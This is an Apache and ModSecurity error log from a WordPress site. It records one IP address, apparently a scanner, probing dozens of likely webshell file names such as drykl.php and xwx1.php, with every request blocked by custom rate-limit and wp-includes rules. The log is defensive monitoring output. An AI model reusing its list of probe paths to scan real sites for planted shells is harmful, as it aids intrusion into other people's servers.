[Thu May 07 08:33:48.144776 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:63497] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "afvd7Nu4duXJJeTigXTX9wAAAEA"]
[Thu May 07 08:33:48.582414 2026] [:error] [pid 56150:tid 56173] [client 20.104.207.18:63546] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "afvd7Nu4duXJJeTigXTX_QAAAFU"]
[Thu May 07 08:33:49.021925 2026] [:error] [pid 56066:tid 56138] [client 20.104.207.18:53409] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "afvd7UYS8DGwDvklLv5wRwAAAM8"]
[Thu May 07 08:33:49.552800 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:63539] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "afvd7du4duXJJeTigXTYCwAAAEY"]
[Thu May 07 08:33:49.975218 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:63579] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "afvd7du4duXJJeTigXTYEAAAAEo"]
[Thu May 07 08:33:50.391494 2026] [:error] [pid 56150:tid 56156] [client 20.104.207.18:63503] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "afvd7tu4duXJJeTigXTYEgAAAEQ"]
[Thu May 07 08:33:50.855280 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:63502] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "afvd7tu4duXJJeTigXTYFgAAAEU"]
[Thu May 07 08:33:51.296134 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:53447] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "afvd79u4duXJJeTigXTYGAAAAE0"]
[Thu May 07 08:33:51.727859 2026] [:error] [pid 56066:tid 56146] [client 20.104.207.18:53482] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "afvd70YS8DGwDvklLv5wTgAAANc"]
[Thu May 07 08:33:52.213726 2026] [:error] [pid 56064:tid 56090] [client 20.104.207.18:53478] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "afvd8CsGkZZUEf_7QCP63gAAABU"]
[Thu May 07 08:33:52.658621 2026] [:error] [pid 56064:tid 56083] [client 20.104.207.18:63505] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "afvd8CsGkZZUEf_7QCP64AAAAA4"]
[Thu May 07 08:33:53.075488 2026] [:error] [pid 56064:tid 56077] [client 20.104.207.18:63535] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "afvd8SsGkZZUEf_7QCP64wAAAAg"]
[Thu May 07 08:33:53.526469 2026] [:error] [pid 56066:tid 56126] [client 20.104.207.18:53385] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "afvd8UYS8DGwDvklLv5wVAAAAMM"]
[Thu May 07 08:33:53.942314 2026] [:error] [pid 56066:tid 56145] [client 20.104.207.18:53470] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "afvd8UYS8DGwDvklLv5wVgAAANY"]
[Thu May 07 08:33:54.358907 2026] [:error] [pid 56065:tid 56099] [client 20.104.207.18:63541] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "afvd8ndV4hYThdnhfxCoRQAAAIM"]
[Thu May 07 08:33:54.784035 2026] [:error] [pid 56066:tid 56125] [client 20.104.207.18:63561] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "afvd8kYS8DGwDvklLv5wWwAAAMI"]
[Thu May 07 08:33:55.206965 2026] [:error] [pid 56066:tid 56138] [client 20.104.207.18:63495] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "afvd80YS8DGwDvklLv5wbwAAAM8"]
[Thu May 07 08:33:55.631729 2026] [:error] [pid 56065:tid 56108] [client 20.104.207.18:53489] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "afvd83dV4hYThdnhfxCoRwAAAIw"]
[Thu May 07 08:33:56.050784 2026] [:error] [pid 56065:tid 56098] [client 20.104.207.18:53395] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "afvd9HdV4hYThdnhfxCoSQAAAII"]
[Thu May 07 08:33:56.504432 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:53396] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "afvd9Nu4duXJJeTigXTYIAAAAEU"]
[Thu May 07 08:33:56.929693 2026] [:error] [pid 56065:tid 56118] [client 20.104.207.18:53442] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "afvd9HdV4hYThdnhfxCoSgAAAJY"]
[Thu May 07 08:33:57.386511 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:63545] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "afvd9du4duXJJeTigXTYIwAAAEE"]
[Thu May 07 08:33:57.819166 2026] [:error] [pid 56064:tid 56075] [client 20.104.207.18:63596] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "afvd9SsGkZZUEf_7QCP7CAAAAAY"]
[Thu May 07 08:33:58.246761 2026] [:error] [pid 56065:tid 56112] [client 20.104.207.18:53466] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "afvd9ndV4hYThdnhfxCoTQAAAJA"]
[Thu May 07 08:33:58.689253 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:53484] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "afvd9tu4duXJJeTigXTYJwAAAFQ"]
[Thu May 07 08:33:59.105683 2026] [:error] [pid 56064:tid 56072] [client 20.104.207.18:63555] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "afvd9ysGkZZUEf_7QCP7CgAAAAM"]
[Thu May 07 08:33:59.606374 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:63560] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "afvd99u4duXJJeTigXTYKQAAAEY"]
[Thu May 07 08:34:00.070042 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:53477] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "afvd-Nu4duXJJeTigXTYLAAAAEo"]
[Thu May 07 08:34:00.494161 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:63592] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "afvd-EYS8DGwDvklLv5wgwAAAMc"]
[Thu May 07 08:34:00.922926 2026] [:error] [pid 56064:tid 56077] [client 20.104.207.18:53444] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "afvd-CsGkZZUEf_7QCP7CwAAAAg"]
[Thu May 07 08:34:01.341552 2026] [:error] [pid 56064:tid 56092] [client 20.104.207.18:63584] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "afvd-SsGkZZUEf_7QCP7DAAAABc"]
[Thu May 07 08:34:01.763442 2026] [:error] [pid 56066:tid 56123] [client 20.104.207.18:53485] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "afvd-UYS8DGwDvklLv5whQAAAMA"]
[Thu May 07 08:34:02.183276 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:53462] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "afvd-tu4duXJJeTigXTYMQAAAFI"]
[Thu May 07 08:34:02.608853 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:63589] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "afvd-tu4duXJJeTigXTYMwAAAEc"]
[Thu May 07 08:34:03.026211 2026] [:error] [pid 56065:tid 56110] [client 20.104.207.18:53465] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "afvd-3dV4hYThdnhfxCoWQAAAI4"]
[Thu May 07 08:34:03.451524 2026] [:error] [pid 56065:tid 56111] [client 20.104.207.18:63490] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "afvd-3dV4hYThdnhfxCoWgAAAI8"]
[Thu May 07 08:34:03.865645 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:63518] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "afvd-9u4duXJJeTigXTYOAAAAEo"]
[Thu May 07 08:34:04.291332 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:53428] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "afvd_Nu4duXJJeTigXTYPAAAAEw"]
[Thu May 07 08:34:04.727746 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:63530] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "afvd_Nu4duXJJeTigXTYPgAAAEE"]
[Thu May 07 08:34:05.162336 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:63544] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "afvd_du4duXJJeTigXTYQAAAAFI"]
[Thu May 07 08:34:05.578404 2026] [:error] [pid 56150:tid 56173] [client 20.104.207.18:53429] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "afvd_du4duXJJeTigXTYQgAAAFU"]
[Thu May 07 08:34:05.991301 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:53472] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "afvd_du4duXJJeTigXTYQwAAAEc"]
[Thu May 07 08:34:06.411141 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:63588] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "afvd_tu4duXJJeTigXTYRAAAAFM"]
[Thu May 07 08:34:06.842970 2026] [:error] [pid 56065:tid 56118] [client 20.104.207.18:53503] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "afvd_ndV4hYThdnhfxCoXQAAAJY"]
[Thu May 07 08:34:07.271200 2026] [:error] [pid 56150:tid 56154] [client 20.104.207.18:63582] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "afvd_9u4duXJJeTigXTYRgAAAEI"]
[Thu May 07 08:34:07.734225 2026] [:error] [pid 56150:tid 56160] [client 20.104.207.18:53421] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "afvd_9u4duXJJeTigXTYRwAAAEg"]
[Thu May 07 08:34:08.165218 2026] [:error] [pid 56150:tid 56166] [client 20.104.207.18:53486] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "afveANu4duXJJeTigXTYSQAAAE4"]
[Thu May 07 08:34:08.596450 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:53499] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "afveANu4duXJJeTigXTYSgAAAEw"]
[Thu May 07 08:34:09.027048 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:53496] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "afveAdu4duXJJeTigXTYSwAAAEU"]
[Thu May 07 08:34:09.448399 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:63511] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "afveAdu4duXJJeTigXTYTgAAAE0"]
[Thu May 07 08:34:09.859422 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:63562] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "afveAdu4duXJJeTigXTYUAAAAFI"]
[Thu May 07 08:34:10.280990 2026] [:error] [pid 56065:tid 56119] [client 20.104.207.18:63527] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "afveAndV4hYThdnhfxCoZwAAAJc"]
[Thu May 07 08:34:10.787105 2026] [:error] [pid 56065:tid 56096] [client 20.104.207.18:63514] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "afveAndV4hYThdnhfxCoaAAAAIA"]
[Thu May 07 08:34:11.199884 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:53487] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "afveA9u4duXJJeTigXTYVAAAAEo"]
[Thu May 07 08:34:11.687013 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:53461] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "afveA9u4duXJJeTigXTYVQAAAEw"]
[Thu May 07 08:34:12.134960 2026] [:error] [pid 56065:tid 56108] [client 20.104.207.18:63515] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "afveBHdV4hYThdnhfxCobAAAAIw"]
